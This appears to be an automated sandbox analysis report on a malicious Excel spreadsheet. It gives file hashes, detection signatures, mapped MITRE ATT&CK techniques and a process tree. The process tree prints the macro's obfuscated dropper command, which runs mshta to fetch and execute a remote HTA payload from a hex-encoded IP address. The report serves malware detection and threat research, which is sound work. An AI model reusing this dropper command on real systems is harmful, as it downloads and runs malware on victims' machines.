aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc

General

Target

aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc.xls
Size

64KB
MD5

9c04ae80f6d403f686236383673c96e5
SHA1

aa036250ec5886e05c0bc63df44a72ffedd9f056
SHA256

aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc
SHA512

256b0da900c5145927c0ea3de95b97fa19d0478a0618b14a5c0fc06fe55d708d0ee796aa69686ad1b0446f145b81783c36859573003d257b462d5419016b13a6

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4836	1628	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	4920	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3512	4920	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1628	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe
3512	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3512	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 4836	1628	EXCEL.EXE	71
PID 1628 wrote to memory of 4836	1628	EXCEL.EXE	71
PID 4836 wrote to memory of 4920	4836	cmd.exe	73
PID 4836 wrote to memory of 4920	4836	cmd.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\system32\mshta.exe
    mshta http://0xc12a24f5/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:4920
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4920 -s 1656
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3512

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1628-115-0x00007FF836310000-0x00007FF836320000-memory.dmp

Filesize
64KB

Download
memory/1628-116-0x00007FF836310000-0x00007FF836320000-memory.dmp

Filesize
64KB

Download
memory/1628-117-0x00007FF836310000-0x00007FF836320000-memory.dmp

Filesize
64KB

Download
memory/1628-118-0x00007FF836310000-0x00007FF836320000-memory.dmp

Filesize
64KB

Download
memory/1628-119-0x0000028C5B530000-0x0000028C5B532000-memory.dmp

Filesize
8KB

Download
memory/1628-120-0x0000028C5B530000-0x0000028C5B532000-memory.dmp

Filesize
8KB

Download
memory/1628-121-0x00007FF836310000-0x00007FF836320000-memory.dmp

Filesize
64KB

Download
memory/1628-122-0x0000028C5B530000-0x0000028C5B532000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads